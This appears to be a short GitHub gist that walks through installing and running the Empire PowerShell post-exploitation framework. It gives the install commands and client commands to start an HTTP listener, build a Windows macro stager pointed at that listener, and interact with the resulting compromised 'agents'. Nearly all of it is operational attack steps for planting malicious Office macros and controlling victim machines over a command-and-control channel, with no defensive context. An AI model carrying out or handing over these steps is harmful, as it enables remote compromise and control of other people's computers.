Skip to content

Instantly share code, notes, and snippets.

@donno2048
Last active January 20, 2022 18:44
Show Gist options
  • Save donno2048/4f6ac48a53faf2fa4c924a24bcd99010 to your computer and use it in GitHub Desktop.
Save donno2048/4f6ac48a53faf2fa4c924a24bcd99010 to your computer and use it in GitHub Desktop.

Empire - PowerShell based hacking tool

Install

sudo apt update
sudo apt install git -y
git clone --recursive https://github.com/donno2048/Empire.git
cd Empire/
yes | sudo ./setup/install.sh

Run

In the Empire directory run two terminals:

Server

sudo poetry run python3 empire.py server

Client

sudo poetry run python3 empire.py client

Example with Windows Macro

In client terminal

listeners
uselistener http
set Name lis
set BindIP <host ip>
set Port 8888
execute
back
back
usestager windows/macro
set Listener lis
execute
agents # to see agents
interact <agent name> # to interact with agent
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment